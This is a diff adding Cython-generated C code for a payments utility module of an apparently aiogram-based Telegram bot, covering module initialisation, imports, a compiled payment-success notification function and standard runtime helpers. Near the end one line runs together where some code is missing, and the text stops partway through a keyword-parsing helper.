#if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_dictoffset && __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_utils(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_utils}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "utils", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initutils(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initutils(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_utils(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_utils(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_utils(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'utils' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("utils", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "utils" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_utils(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__utils) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.utils")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.utils", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/utils.py":1 + * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/utils.py":2 + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * + * from bot import bot + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/utils.py":4 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + * from bot import bot # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_bot); + __Pyx_GIVEREF(__pyx_n_s_bot); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_bot)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_bot, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_bot); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_bot, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/utils.py":5 + * + * from bot import bot + * from logger import logger # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_user_id, __pyx_n_s_int) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_n_s_float) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_5utils_1send_payment_success_notification, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_send_payment_success_notificatio, NULL, __pyx_n_s_handlers_payments_utils, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/utils.py":1 + * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.utils", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.utils"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + 